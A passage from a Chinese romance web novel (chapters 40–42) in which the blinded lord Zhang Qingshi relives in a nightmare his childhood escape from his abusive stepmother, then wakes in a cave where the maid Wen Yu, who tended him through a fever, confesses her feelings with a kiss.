奶娘嬷嬷继续鼓励道,她知道她这番话对仅有几岁的孩童,还有点难以理解。
可他是云娘子的遗孤,她不能不努力地将他往更光明的地方托举。
“好……我愿意去试。”
面对奶娘嬷嬷几番劝说后,张清时低头思虑良久后,终于抬头答应了她。
这两条路虽然都很难,但他愿意为了嬷嬷去试,就像嬷嬷愿意为他付出很多东西那样。
听他此言,嬷嬷也欣慰一笑,眼含热泪地抱住张清时,嘴里一直亲和地喊道:“好孩子,好孩子!”
*
张府名门望族,请来教书的夫子也是一等一的好,因而府内的大郎君张阑和二郎君张清时也是京都子弟中早早闻名的少年翘楚。
像这种竞选,李氏自然有信心认为自己孩子能够一马当先,一举夺魁。所以当张清时也递交一份文章参加竞选时,她也只是冷嘲热讽了几句,就全当未放在心上。
可谁知,文章交上去,太师忽然说要再增加一轮面试,说要试一试各个孩子的心性。
而通过上一轮文章笔试能进入面试之中的孩子就足足有五个,其中张阑和张清时也位列其中。
这下李氏的底气可就有些不足了,文章这方面她确实不用担心张阑不行。
可这心性方面,就有所难评。
传闻太师是寒门子弟,苦学数十载,才写下旷古绝伦的文章,继而才被选中担任太师。
太师才华横溢,但依然有着穷酸人的品性,那就是最讨厌恃才傲物之人。
恰不巧,李氏和她的儿子就是这种人。
但李氏固执的认为,人就是该分高低贵贱的,不然她们这些世家争这些钱和权又有何用?
不过这入选的五人中除了张阑心性略有不讨喜于太师,但其余三人也不分上下。
一人是宰相之子,性情娇纵暴戾,最是吃不了苦,有一次因他的仆从端洒了他的汤,他就叫人将那人给活活在街上打死。
多伤风败俗啊!好在她儿只会回家惩罚这些不听话的仆人,从不会在明面上,这可比他好太多了。
另一人大理寺少卿之子,好书,但为人木讷,碰上人讲话就结结巴巴的,怎能陪太子畅聊天地。
虽然她儿寡言,但讨论起政治见地时那也能是讲得滔滔如流水。
再一人,是礼部侍郎之子,为人周正,心性的确不错。只不过他的母亲与肖贵妃交好,而肖贵妃最近刚得了新儿,正与皇后水火不容,谅太师也不敢选他为太子陪读。
这样思来想去,唯一可以与她儿张阑抗衡的便是那个小贱种——张清时了。
她真是小瞧了他,不过他有的是手段让他屈服……
突然,梦魇中的张清时忽而抽搐了一下,陡坡然生出满头大汗。
40. 东州20
梦中光景换了又换,张清时被困于混沌之中无论怎样都出不来,忽而有一处比混沌更暗的画面停住,释放强大的吸力,连同他的躯体、他的魂魄一起给吸了进去。
“扑通——!”
张清时被那股无形的吸力无情地给扔进了一间黑漆漆的小房间。
在那里,他一睁眼,依旧是一片漆黑。
这是哪?他为何会出现在这?
张清时满心疑惑地从地上攀爬起来,开始小心翼翼地伸手在这个神秘空间中探索起来。
可是一触摸全是与在洞穴时俨然不同的触感。
这不是在洞穴,也不是在山林中,这是怎么一回事?
可明明他刚才还是和温玉待在一块的。
对了,温玉呢?
他想起了温玉,紧张她也被困在此地,便开始大声地呼唤她的名字:
“温玉?温玉?”
“温玉?温玉?”
可回应他的只有空荡荡的回声。
张清时这才意识到他被困在一个没有温玉、没有任何人的地方。
是他的灵魂被超度了,还是被那些坏人被绑架到另一间密室里?
张清时一想到这,便立刻伸手摸向自己的衣兜,看看他身上携带的证据是否也被夺走?
可摸着摸着,就发现不对劲。
他的衣服不对,他的身体也不对,他……好像缩水了!
震惊之余,他的脑海又回忆起前一个光景,由此他不禁大胆地做出一个猜想——他应该好像是回到了自己的小时候。
那个他深埋于心底的小时候。
而这间小黑屋就是李氏常常关他的房间。
一种从心底油然而生的恶心感马上从喉间喷出,张清时立马捂住了嘴,深深呼吸,缓解当下的起伏太大的情绪。
好在他现已经不是当年七八岁的孩童了,他也不用再畏惧此处了。
信念感强压着恶心感下去,张清时则才松开了手,神色恢复正常。
不管怎样,他还是得先从这个鬼地方逃出去再说。
张清时拖着他那小小的身躯开始在这间黑暗的房中继续摸索着起来。
在黑暗环境中,他没有想象的那么行走困难,反而还能凭借着听觉和触觉在此处行走通畅。
谈及这个,他还不得不多感谢自己先前失明了,不然在这黑暗中肯定又是举步维艰。
于是他一路通过摸和碰,终而找到一个趁手的“武器”——木棍。
这见房子是木制的小屋,里面常常会堆砌一些杂物,小时候的张清时不懂的利用这些物品,常常被关在这就是一天两天的。
但现在的他会了,所以他亲自来拯救小时候的自己。
随即,他便举起木棍开始一一敲打着木屋周围的墙壁,试探着哪里会是木屋最薄弱的地方。
木头“砰砰砰”一下一下地发出被击打的声音,忽然下一秒就传来了“撕拉”的声音。
凭着高度,张清时推测是窗户,便用力地将那纸糊的窗户一一给捅破。
果然,一丝光亮被泄了进来。
这窗户透的光很小,想必是李氏为了防止张清时逃出,而用木头给封住了。
张清时没有气馁,他离成功逃离还差一点。
接着,他又拖了几件杂物,一件一件摞叠起来,叠到差不多的高度,他攀爬了上去。
然后双手握着木棍去翘开封住的木板。
木板是被钉子钉住的,小小的张清时用力用地全身涨红,费力才撬开了一点。
撬开一点后,他双手耷拉着,力气也泄了下去。
小小的躯体真是不耐用。
张清时吐槽自己道,但活动了几下筋骨后又继续去撬,这下,终于有一个角终于被撬开了。
但张清时更加没有力气了,估计他得歇半会儿撬半会儿的。
唉!好想离开这。
张清时轻轻地叹了口气,但上天好像听到他的回应似的。
外面就传来一阵“吱吱”、“嘎嘎”的声音,好像是有人在外面帮着撬木窗。
恢复点精气神的张清时立马踮起脚尖,双手撑着窗台往外看去,忽而就看到那些熟悉却又遥远的面孔。
内心即刻掀起巨大波澜,他平复不下这份随之袭来震撼和惊喜的感情,胸口剧烈地起伏,张开嘴竟有些哭腔地喊道:
“嬷嬷!阿斗!”
正努力撬窗户的阿斗闻声抬起头立马小声安慰道:“二郎君!别怕,别怕,我们来救你来了。”
“是啊,我们很快就能出去了。”嬷嬷也在一旁安抚着他的情绪。
“嗯嗯……”
张清时点点头,他已经很多年未见嬷嬷和阿斗了,如今看到他们熟悉的音容,他还是忍不住眼眶蓄满了泪水。
明明长大后的他很坚强,却在这种时刻憋不住一点泪光。
“咔哒——!”
被封住的木板终于被撬开,阿斗拿着他的衣袖小心翼翼地擦拭着张清时的眼角,哄道:“二郎君,不是要成为小小君子吗?怎么被关一会会儿就哭鼻子了?”
“没……”
张清时嘶哑道,他是真的忍不住,不是故意要哭的。
“好好好,没哭就没哭,二郎君,明天见太师的时候也不要哭鼻子哦!”
说着,阿斗就将双手从窗台伸进,放到张清时的腋下,然后就将他从里面托了出来。
托出来后,张清时二话不说,便上前就给了阿斗和嬷嬷一个“大大”的拥抱。
虽然小小的他力气很小,手臂也短,但嬷嬷和阿斗还是能感受到他真挚热烈的情感。
像是见了许久未见之人那样强烈的感情。
不过现下并不是拥抱抒情的好时候。
嬷嬷轻轻地将张清时推开叮嘱道:“二郎君,后院我给你备了车马,我们快快启程吧。”
启程?张郎君霎时回忆起这个片段。
这个永远让他后悔沉痛的片段。
他当即摇了摇头道:“不,嬷嬷,阿斗,我不要离开你们。”
他知道一到后院,就会碰上李氏的丫鬟。那个丫鬟一见到他们逃跑,就立刻大声报信,到时候整个院落里的仆从丫鬟们都会出来拦住他们。
而后面,嬷嬷和阿斗为了给他争取拖延逃跑的时间,两人竟不惜性命独自留下来去与几乎整个院内的丫鬟仆从拼命。
到最后,落得个尸骨无存的结局。
可现在,张清时又回到这一关键时刻,并且还知晓这个结局时,是万万不能让它发生的。
他想,已年岁已长的他能够再想办法逃脱出去。
但嬷嬷却生平第一次动手用力打了一下张清时的肩膀,一脸恨铁不成钢道:“二郎君,你还想要深陷于这吃人的府宅中要多久?
你母亲已经逃不掉了,难道你也想要赴你母亲的后尘吗?”
“不…不是的,嬷嬷,我想离开,但绝不是这个时候离开。”张清时摇头道,他知道嬷嬷是为他好,但正因如此,他不能眼睁睁再看见一次他们死在自己面前。
“我们不一定非要现在逃,我们明日、后日都可以,但绝不是现在!”
“来不及了!二郎君,后日就是拜见太师的日子,今日我们再不走可就永远也走不掉了。”阿斗也跟着苦苦相劝,他们上下一切都打点好了,就等着二郎君开口同意。
但张清时还是拒绝,甚至还要继续回到那间黑屋。
罢了,二郎君年少,他可以不懂事,但他们不能。
“对不住了,二郎君。”
阿斗跟嬷嬷相视一眼后,不由分说地将张清时抱起,然后一同往后院奔去。
云娘子已在这误了一生,切不可再误了二郎君。
“不……不要去!”
任凭张清时怎么心痛地呼喊,两人的脚步还是不曾停下,一直跑到后院的一处墙下。
随后,阿斗将小小的张清时拖举坐在墙壁上,叮嘱道:“郎君你先在墙上坐一会儿,等我们爬上来,再带你跳下去。”
放稳张清时后,阿斗又将嬷嬷给托了上去,可刚托
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稳,一道尖利的声音打断了他们的行动。
“喂,你们在干什么?”
“好啊!你们是要逃吗?看我不叫人来打断你们的腿!”
张清时三人视线飘过去过去,发现叫唤的正是李氏身边的丫鬟,一人正怒气冲冲往这走来,而其他几人则纷纷往主屋叫人。
“快,阿斗,你们快上来!”
张清时焦急地喊着阿斗上来,他们得赶紧趁那些人赶过来前赶紧逃跑,不然一个也跑不掉。
“好好好。”
阿斗应下,一个撑墙,一个跳跃,麻利地攀登至墙上,可当他正要翻身下去时。
“嗖”地一声,一只利箭射了过来,直击阿斗的后背,阿斗大叫一声便往后倒去。
“阿斗!!!”
张清时喊道,眼神却停留在后院不远处的那位满头珠钗的妇人身上。
是的,他这生平最恨的那人出现了。
她一脸得意地嘲弄道:“张清时,你看你又不听话了,你这让为娘的很难做啊。”
“住嘴,你才不是我娘!你不配!”张清时怒吼道,是她,都是她,才害得他永失所有爱他的人。
他憎恶,厌恨极了她。
“呵呵呵,我还没说你这个小贱种根本不配当我儿子的呢!”
李氏一脸鄙夷道,随即拿过一旁仆从手里的弓箭,搭弓拉箭瞄向张清时。
“想逃?想活命?嗯?”
“……”
张清时气得双眼发红,牙齿都咬的作响。
奈何在李氏面前都不过只是小儿把戏,她轻扯嘴角,手里捏紧的弦突然轻轻一松。
一支利箭以不可抵挡之势朝张清时袭来。
就这千钧一发之际,嬷嬷直接抱着张清时往高墙身后倒去,两人双双跌落在外墙边。
但张清时感觉不到疼痛,因为是嬷嬷将他紧紧抱在怀里,用她自己的身子垫在地面。
“嬷嬷,没事吧。”
张清时连忙起身去拉起嬷嬷,嬷嬷也忍着痛道:“没事,二郎君快逃吧。”
张清时紧拉着嬷嬷的手不松开道:“走,我们一起。”
嬷嬷摇摇头,眼神示意着另一旁马车的车夫,车夫接收到讯息后,沉面走了过来。
“二郎君,再见!”
嬷嬷上前抱住张清时,轻道了这句话后,直接一把将他推往车夫怀里,车夫也二话不说,扛起他就往车里走。
但张清时还在挣扎,双手打开,呈拥抱之势,拼了命想抱住嬷嬷,想带她一起走,想和她一起离开。
可是怎么使劲,怎么往前,怎么也抱不住。
“郎君,你怎么了吗?”
张清时只能干看着嬷嬷离自己越来越远,光影随着她的音容一起褪去,渐渐地又陷入一片乌黑之中。
“不要…不要…不要离开我!”
张清时痛苦地大声呐喊着,然后挥手去抓那残破的光影时,却意外抱到了一副身躯。
娇柔的,又温暖的,他紧紧地抱住她,将头也深埋于她的颈肩。
像即将冷死之人在冰川中遇到一轮太阳,就迫不及待地去拥抱它,去将它狠狠地抱住。
他太需要这份温暖了。
“郎君,你是梦魇了吗?”
温玉轻声问道,伸手轻轻摩挲张郎君的乌发,安抚着他紧张的情绪。
张清时也听到这句话了,思绪渐渐从恐惧中回笼,他慢慢地松开手,低声道了句:“抱歉。”
“没事的,郎君。”
尽管张清时已经松开了手,有脱里温玉的趋势,但温玉没有退却,她继续像哄小孩似的一边抱着他,一边轻轻拍打着他的背部。
她没有格外在意其他,她只是从心底里觉得郎君这个时候需要她,她也想尽自己的小小力量守护他。
而张清时或许是做了噩梦的原因,神经异常疲惫,连现实和梦境都未曾分清,在这可以依赖的怀抱中他也没有再推开,反而继续靠着温玉的肩膀缓缓地睡着了。
而这一觉,没有噩梦。
41. 清醒
日升中天后又有了颓弱趋势,渐渐西下,连带着刺眼金闪的日光也逐渐温和了起来。
温柔的曦光清照在张郎君的长睫上,像是给他的睫毛上涂了一层薄薄的金粉,就这样细细一看,感觉郎君更添了几分仙人之姿。
就这么瞧着郎君这张脸,温玉就算手臂拍酸了也不觉察到累。
相反,她还很关切郎君是做了怎样的梦,才会如此激动与恐惧,连眉头都硬挤出一个“川”字。
在他那张本该平和的脸上稍显突兀。
温玉抽出一只手来,轻贴他的额头,慢慢抚摸,想抚顺他的烦恼。
轻柔地触碰后,那紧皱的皮肤就随着手指的滑落一下就平展开来,眉宇终于明朗,嘴角也由向下转为向上。
郎君就应该是幸福快乐的,温玉看着那副终于恬静的面容心里不由地想。
这样的他哪哪都好看。
不过上天还是给了他残缺。
温玉的手指从眉宇滑落至布条上,那里埋葬了一双最清明的眼睛。
可惜……她不能再见。
她又是心疼,又是憎恶,若在这洞穴中再次碰上那群坏人,她定要用她怀里的那把短刃将那人的眼珠子都给挖下。
她手指轻轻陷入布条中,久久不能自拔。
稍后,才沿着张郎君高挺的鼻梁滑下来,停留在他的鼻底。
温玉回忆起她第一次遇见郎君的时候,他也正在院落中赏花,如芝兰玉树一般好看。
尤其是他鼻尖轻触花瓣,沉醉其中的样子有种特别的美。
是一种不同于平静温和的美。
温玉很喜欢,再加上那之前陈禹一直让她勾引郎君,所以她才想,郎君喜欢一个人的时候应该也会是这种模样。
在床上也应该会是。
温玉在心底轻盈地笑了一声,手指又移至张郎君的嘴唇上。
干涸的像要急需滋润。
温玉不自觉地咽了咽口水,她才想起从早上到现在,他们两都未曾进过一粒米,一滴水。
真是荒唐!
但这也是难得一次,温玉能够用手去亲自细细刻画郎君的面容。
她就这样将手停在他的唇上,看了很久,看到思绪被抽向远方,在没有意识的驱动下,她身子前倾,隔着手指亲吻了他的唇。
贴上时,她也惊讶于她的大胆,但她也不舍的离开,因为这很有可能也是唯一一次。
她闭上眼,就权当不知情。
而手指贴向的另一方似乎也有所感触,嘴唇微张微闭,然后嘶哑地开口:
“温玉?”
这突如其来的醒来,温玉吓得心一惊,赶忙把手从他唇上扯开,略带颤抖的声线问:
“郎君,你醒了?”
“嗯……”
张清时微微点了下头,他好似做了一场噩梦,至于梦的内容是什么,他已全然忘记。
只忆起那时脑袋一会热一会冷的,到现在都还有点昏昏沉沉,连脑神经也不安分地在直突突地跳动。
他抬手想将它按下去时,可一抬手却发现自己的手正无意地搭在一人细软的腰肢上。
大脑瞬间如爆炸般清醒,他的呼吸也跟着急促紊乱起来:
自…自己…怎…怎么会…突…突然和温玉抱在一起睡觉的?
明明昨晚他和温玉睡的时候还搁得很远,他向来也不是睡觉不安分的人。
难道是——
张清时忽而怀疑起上午那场漫长又昏沉的噩梦。
难道是——那个时间段他对温玉做了什么对不好的事情吗?
一开始是讶异,到现在是无数的自责汇集于张清时的心头上,他在懊悔他怎能随意毁了人家姑娘清白。
如今这样,他自己和那些道貌岸然的畜生又有什么分别?
愈究他内疚的情感愈烈,张清时恨不得想剁掉自己这肮脏的双手。
而一旁的温玉见郎君刚抚顺的眉头又紧锁了起来,还以为自己偷偷摸摸的行为被他发现了,于是离开撤出她的身躯,歉声道:
“抱歉,郎君,温玉不该——”
“不!”
温玉话还没讲完,张清时就一脸严肃地打断了:
“应该是我该对你说声对不起!”
他对自己不耻的行为悲痛地向温玉道歉,但或许是觉得这样的道歉更没有诚意。
便坐直了身子,想向温玉弯腰沉重道歉。
可一坐起来,他身上挂着温玉的外裳就水灵灵地滑落了下来。
衣服是棉麻制的,滑落下来,肌肤也能清清楚楚地感受到衣物摩擦起的粗粝感。
待衣裳滑落,张清时一时之间震惊的像被万倾雷击中一般,僵直在原地。
他本以为只是拥抱着一晚上而已,却没想到他干了比畜生还不如的事情。
他没办法原谅这样的自己。
他的神情愈加悲痛,沉重地对温玉说:
“温玉,如果你现在想杀了我的话,就不要心慈手软,我不会反抗的!”
说着,张清时就把头低了下去,他何止不能原谅自己,他已经是无脸面对温玉了!
“郎君,都是我的错!”
温玉见张郎君亲自为他屈下头,赶忙伸手扶起他,心中也倍加愧疚感。早知道她就在张郎君醒来之前替他穿好衣服就行,不然也不会沦落到郎君要自求一死的局面。
“不,是我的错!”
张郎君跪趴在温玉面前,任凭温玉怎么抬也不动。
“郎君,是温玉的错。是温玉不该脱你的衣裳,不该抱着你,更不该肖想郎君!”
温玉抬不动张郎君,又不想郎君死在自己的眼前,就急得把一切心底里的实话全托盘而出。
而张郎君却只以为这是温玉让他心里好过的措辞,因为在这个时代,女娘要承受的世俗压力比男子多的多。
这样一看,张清时更加觉得自己不是人。
“温玉,我要对你做的事情负所有责任,我名下所有田地、府宅、钱财都会统统归属于你名下,这样的话,你以后的路会比较好走一些。”
这是张清时能够帮她想到的最好的出路。
女娘有钱财在身,未来的路不至于那么难走。
但他的这句话却在温玉心里变了个意味,她以为郎君亦是要用钱财来逼她离开。
可她不想,也做不到。
“郎君,我不要你的钱!”
“温玉说过,要一直一直守护在郎君身边!”
而温玉诚心真挚的话语正如同巨石般重重地碾压张清时的心底,他心底愈加低沉和难受:
“不,我不配!”
“不,郎君,你配!”
温玉极力反驳着张郎君的这句话,他配得上,他永远配得上这世间所有的好。
是她,是她玷污了他。
“郎君…”温玉颤抖着声线,然后当即从怀里掏出那柄短剑,抵向自己的脖颈道,“郎君,你要是不起来,温玉就了结了自己的性命。”
她不愿意离开郎君,她也对不起郎君,如果可以,她愿意以她一命换他一命。
“不,温玉!”
闻言,张清时立马惊慌失措地直起身子,手慌乱地伸向温玉,想拿走那柄短剑,不让温玉做傻事。
“我这样的人,温玉你不必这么做。”
他这样卑劣的人,不值得她为他去死。
“不,郎君你值得,你那么好,温玉却玷污了你。”温玉紧闭上眼,做好决定道,“郎君,如果你不肯原谅自己的话,那就让温玉以死谢罪!”
千错万错都是她的错,郎君如天上明月,她怎能看他坠落,而自己如地上蝼蚁,死了便死了,愿只愿郎君以后能忘却此事,好好生活。
而张郎君听到她这般肺腑之言后,更加无地自容:“温玉,是我玷污了你,该死之人不是你。”
他要劝温玉好好活下去,她还有这么多大好年华,断不能因为他这一个人渣而轻送性命。
“郎君!”
“是温玉玷污了你!”
温玉频频摇头激动道,郎君果然这般好,什么错责都往自己身上这般揽。
但他这样也未免负累太重,她不想他这样。
她要将她的罪责一一阐述,告诉他不是他的错,他不必承其重:
“郎君,是温玉的错。是温玉不该在郎君早上发寒热昏迷时脱掉郎君衣裳,是温玉不该在郎君饥寒时抱住郎君,是温玉不该在郎君沉睡时偷偷碰触郎君。”
温玉的一字一句像流星一下一下撞入张清时的脑中,句句震撼。
缓了片刻,他这才意识到原来他没有对温玉做什么,只是温玉在照看生病的他罢了。
自己的误会才莫名造就这般撕心裂肺争论谁该死的场景。
他心底又多了份歉疚,酝酿好安抚和道歉的措辞后才缓缓开口道:
“抱歉,温玉,我误会了。”
“郎君,你…你没误会。”
温
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玉还沉浸在悲伤的情绪中没有出来。
“不,温玉,我的意思是——”张清时不敢将他龌龊的误会宣之于口,只能换种说法,“我的意思是你不必为你做的事情而伤心,是我的问题。”
“啊?”这句解释将温玉听得云里雾里,她还以为郎君虽然求死的心放下,但内心那道堪依旧过不去,于是放下短剑,也相劝道,“郎君不是你的问题,你没有任何问题,郎君你只要怪温玉就好了!”
听着温玉坚定的语气,张清时知道她没有听清楚自己的解释,但她那种把他当所有,当最好的信念却有所触动他的内心。
虽然他年少丧母,又不得父亲青睐,生活总受嫡母磋磨,但依然有着那么一群人把他当所有,当最好,甚至是将对他好都当成了他们人生中的一份执念。
可惜待他真正好了的时候,他们却都已受到伤害和离开。
所以他一直以来总是拒绝别人的帮助,与他人交往之间都会竖起一道天然且不可逾越的屏界。
而温玉却一点一点地在敲碎这个他设下多年的心防,想进入他真正的内心。
突然地,张清时好想问为什么,他想知道为什么会有人愿意这么做?他为什么会值得别人这么做?
将年少时一直拖着没机会问出来的问题抛向了温玉:“温玉,为什么——你会觉得我很好,会觉得我没有问题,会觉得没有过错,甚至是将所有过错揽在你身上呢?”
“因为郎君你本身就很好很好啊!”
温玉这话全然是从心底托出,不掺半点假意。
从她遇见他那刻起到现在,她就一直一直觉得他很好。
好到温玉觉得为他付出一切都是轻如鸿毛。
好到这一切都是她本能地去做,本能地想靠近他,拥抱他,甚至是……
“这一切都是温玉自愿做的,还请郎君责罚。”
这本就是她妄想郎君的错,她都认,郎君要怎么罚她她都认,唯有一点不能生离,只能死别。
“为什么会自愿做这一切?”
张清时依旧迫切地追问道,他知道她有其他所求,所以每一次触动内心后都会反复不断地去怀疑她的真心。
“那是因为——!”
温玉本能地不过大脑想将一句话说出于口,可话到嘴边她却没勇气继续讲下去。
她为什么自愿做着一切?
可她明明是最想推郎君步入深渊的人。
但看似是脱离大脑控制的行为,其实已然是——
温玉想,大抵是她已经不是想嫁像郎君这样的人,而是想真真实实嫁给郎君。
哪怕仅仅是——一个丫鬟的身份陪在他身边。
所以这样的理由她不敢说。
她只能低下头,干巴巴道:“没有为什么。”
“说实话,温玉!”
张清时他太想得到一个理由了,哪怕是她说只是为了接近他还是怎么的,他都愿意接受。
好像只有这样他才能心安理得地接受她的好。
而温玉却一直倔强地不肯开口,不肯给他回答。
张清时只能焦急地俯下身,伸手去轻扯她的衣袖,轻声但又带点可怜的声色问:“温玉,告诉我好吗?”
“……”
温玉无措地看向郎君,隔着那块布条,她也能感受到郎君执着的眼神。
他太执着了,执着的温玉甚至都心生怯意。
“温玉—”张清时的手指收紧,坚持道,“告诉我好吗?求你——”
“求你”的话语还没说完,他的嘴唇就被一根手指抵住,他也一下呆滞住了。
只听温玉缓缓开口道:“什么都不用说,郎君,既然你想听,那我就告诉你。”
她实在无法能够忍受明月在向她摇尾乞求,既然郎君都能为这个理由低声下气到这种地步,那温玉也没有什么理由拒绝回答他。
且这件事反正她都做过一次,还怕第二次吗?
反正结局也都会一样。
于是,温玉将手指从郎君唇上撤下,阖上眼睛,用唇代替了她的手指,在他的唇上如“蜻蜓点水”轻点一下。
不是温柔缠绵,也不是强力夺取,只是轻轻触碰一下,她就很快撤离开了。
因为这些对温玉来说也就足够了。
她也不敢再看郎君此刻神色,不敢再听郎君所说,慌忙地起身就离开洞穴,站在洞穴外独自吹风冷静。
而张清时却始终呆滞在原地,像被定形了那般。
42. 心跳共振
关于温玉为何会自愿地对他好,张清时早在心中想过千百个理由,但唯独没想过是这个。
那轻轻一吻,到底是什么意思?
这一刻,张清时大脑神经从来都没有那么迟钝过。
迟钝到那吻他还没感受出意义,迟钝到那吻迅速地离开他甚至是带走周围一切温暖的感觉后,他才有意识。
突然地,他觉得有些冷了,环抱住自己,像年少无数个黑夜他需要温暖时一样紧紧抱住自己那样。
他现已然不追究温玉为什么会自愿对他好了,他现在探究的是温玉为什么会亲他。
她是不是不懂亲吻的含义?
她是不是觉得吻他就能——就能……
那一吻像是夺走张清时所有思考能力一样,擅长思考的他想不出任何恰当的理由来。
大脑是糊涂的,身子是冰冷的,就连眼前也是一片黑暗的。
这迫使得他愈加难受,从心到身都难受,而他自己的怀抱已然提供不了一点温暖和光亮。
他现在好需要一个怀抱,一个能给他带来温暖的怀抱。
可……他又哪来的怀抱?
他将手放在温玉曾经卧躺过的地方,那,那里还有她残留的余温。
是能够给他带来温暖的地方。
先是手指触摸,或觉得不够,他又将整个身躯贴在那片树叶上,全身心且贪婪地去感受她的遗存。
躺着躺着,思绪发散,他竟然开始探究他对待温玉会是如何?
是愿意一心一意地对她好吗?
是愿意自愿地本能地去为她好吗?
张清时愈想心底波澜愈起,甚至心底还有一个声音在叫嚣着:
“我愿意!”
“我愿意!”
“我愿意!”
最后一声是张清时自己低声无意识地跟着囔囔,暮地,他好像有了个跟温玉一样的理由。
他支起身子,叶片上的余温通过他的躯肢一点一点汇聚于胸腔,他有话想对温玉讲。
想着,他就很快站起了身,微风拂过,他很快就记起自己上身还是光秃秃的样子,恐怕不宜让温玉见到。
又一下心情跟着身子跌落回去,突然,他坐下的瞬间手指好像碰见一件衣裳。
他以为是自己的衣裳,便拿起一穿,但转瞬又问道一股很熟悉的味道,是绿叶、是溪流、还夹杂丁点桂花的香气。
张清时则才知晓这衣裳不是他的,而是温玉的。
他手上虽把衣裳贴在自己胸膛上,但心底还是牵挂着站在外面的温玉。
外面风大,她不穿外裳站在外面,着凉了怎么办?
于是他想轻声将她唤回来:“温玉?”
“嗯…郎君…怎么了吗?”站在洞穴外的温玉说话声音都断断续续的,鼻子也跟着一抽一抽,眼睛还红红的,看样子是有在外面偷哭过。
张清时虽不知道她此刻面貌,但也能从语气中听出她的情绪,他将她惹哭了,他应该负全责。
“温玉,帮我拿衣服过来,好吗?”张清时低声请求道。
这合理的要求,温玉自然是听的,她抹了两把眼睛后便走到火堆旁拿起那两件被烤得热哄哄的衣裳递给他。
可他没有伸手接过,反而还将她的衣裳贴在胸口,温玉看见时瞬间生羞,有些磕碜道:
“郎君…你衣服。”
“温玉,你帮我穿上好吗?”
张清时面上一本正经道,但骨肉匀称有力的手指却紧紧抓在她的衣裳上,像是在做一副无措无辜的样子。
“我看不见……”
见郎君这样,温玉又心软了,她拿着张清时的衣裳便再次坐在了他的身旁。
而张清时又重新感受到那熟悉温热的感觉,便直率地伸出了手,嘴角也有了点笑意:“温玉,谢谢你能帮我。”
温玉则是木讷住的,很少看见郎君这么坦然接受她帮忙的样子。
她犹豫地开口问道:“郎君,你…不生温玉的气吗?”
“我为何要生你的气?”张清时摇摇头,“你是在帮我,并没有对我做什么。”
“可是……”温玉手里揉搓着张郎君的衣裳,“温玉…刚刚对郎君…”
话还没落完,张清时就将贴在他胸间的那件衣裳一掀一披,就落在温玉的身躯上。
“那又如何?”
“情急之下大家都能理解的,倒是我情绪不稳吓坏你了。”
“我向你说声抱歉。”
又是一阵暖意直击温玉心中,她的眼眶突然有些湿润:
“郎君没有错,错都在温玉…”
“不要再说了,温玉。”张清时打断她的自责,继而又伸出他的手,“你替我穿衣吧,我有些冷了。”
“啊?”
温玉这才发现自己将张郎君晾了很久,这直怕刚好的病又要被她害得生起来。
于是她也没顾上其他,两只手拿着衣袖给他手上套起,套完一边,再套另一边。
衣袖套完后,就是将他背后的衣服拉起来。
由于张清时无论是站着还是坐着都很高,所以温玉就不得不从坐姿变成跪姿,大半个身子俯在张清时的头侧。
手穿过他的后脑勺去拉起衣服,可衣服从地面缓缓往上拉时,温玉突然发现她的视线能从那衣裳和背后的一整个空隙将他劲实的背脊看得一清二楚。
尤其是不知道是靠的太近,还是她也没穿外裳的缘故,她能清楚地感受到张郎君急促的呼吸透过里衣吹打在她的胸口处。
她的胸脯也变得不平稳起来,起伏过大,心跳也愈加异常。
“温玉,你心跳为何这么快?”
“啊?”
张郎君的忽然出声,温玉吓得身一软,整个人都跌靠在他的肩膀上。
她又觉得不妥,想立马起身,但一只宽厚的手却托住了她的腰。
冰凉的感觉刺激着她的腰窝,她感觉又痒又热的,便推了张郎君几下肩膀道:
“郎君,我没事,别…别托着我。”
闻言,张清时果断松了手,温玉也松口气,好好地跪坐在他面前。
而面前的张清时此刻衣服还没扣起,那些块状分明的肌肉也是被温玉一览无余。
尤其是他的肌肉还随着呼吸一下膨胀一下收缩的,温玉也看得有些血脉喷张,情难自控。
于是她立刻将张郎君身上两边衣裳合起来,再动手去扣他衣襟上的玉扣。
“温玉,你还没回答我话。”
张清时仰着头道,方便让她扣着衣裳。
“郎君,人都是有心跳的。”
温玉抿着唇解释,双手专注地扣着张郎君的衣裳。
她现在可再也没有勇气说一遍理由,不过现在这会儿她是比较庆幸郎君是看不见的,要是她真对上郎君那双质问的眼神,估计一两秒后就全都招了。
但招了之后,恐怕郎君又要气她很久。
“是吗?”张清时显然不信,“可以让我听听你的心跳吗?”
“我从未听过如此强烈的心跳声。”
虽再没有洞察人心的眼睛,但他依旧能辨别温玉说的是真话还是假话。
“啊?”
而温玉除了一声惊诧以外也说不出什么来,想着郎君不是平时很注重男女授受不亲吗?
怎么这会儿就一点也不注意了。
“听一下就行。”
张清时低下头,硬硬的下巴刚好戳到温玉的手背。
温玉像被烫了一下立刻把手缩回:“郎君,这样不好吧?”
两人好像换了一种角色一样。
“温玉,我想听。”
他一如既往地对一件事情很执着。
虽然温玉的眼睛与郎君的眼睛有一层薄布遮挡,但温玉还是很能清晰感受到那布条下强烈地注视感。
“我想听听,温玉。”
在那道灼热的注视感以及耳旁温柔话语的双重攻击下,温玉终究还是缴械投降。
他是病人,亦是她的主君。
听话也没有什么的。
温玉
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心底这样安慰着自己,手指紧紧抓着衣角小声道:“郎君,你听吧!”
“好!”
张清时的语调都明显上扬了几声,他俯下身,慢慢靠近温玉胸铺的位置,温玉的心跳也跟着快跳到嗓子眼上了。
说实话,她不是怕郎君真听到她的心跳声,而是害怕他会一下子直接靠在自己的身上。
虽然很喜欢很喜欢郎君,但这举动莫过太过逾矩,她没法一下子接受。
而张清时显然也不是什么登徒浪子,在离她胸脯前还有端端一个手掌的距离,他就停了下来,侧着耳,好像真的是在听心跳。
可…这么远能得听见吗?
温玉好奇地垂下眼看着俯在她胸前的郎君,可看着看着,她突然觉得这样的动作好像有点像……
忽而,脑海飘过一个词语,温玉大脑瞬间就烧得宕机,连忙把头仰起,不敢去看他,然而胸脯却不知不觉间地更向前一步。
张清时鼻尖她的气息更浓了些。
他轻笑一声道:“我怎么感觉心跳声比之前的更快了些?”
“怎么会?”温玉脸红的辩驳道,哪会更大,明明一直在保持着同等的频率。
“那你知道人为什么会心跳强烈吗?”
张清时抬起头,隔着布遇她对视了起来。
温玉紧张地摇头:“不知道。”
“那你愿意听我的吗?”张清时问。
“听你的?”温玉陡然瞪大眼睛。
张清时微微颔首,手心朝上的放在她的眼前:“把手给我。”
不知道是不是张郎君的声音太好听了,好听到像是有一只蛊虫吃掉了温玉的大脑,她下意识地就将手叠在他的手心里,听他摆布。
稍许,手下那张强烈差异的大手收拢,将她的小手紧紧裹住,然后慢慢移至在张清时的胸膛上。
他问:“能感受到吗?”
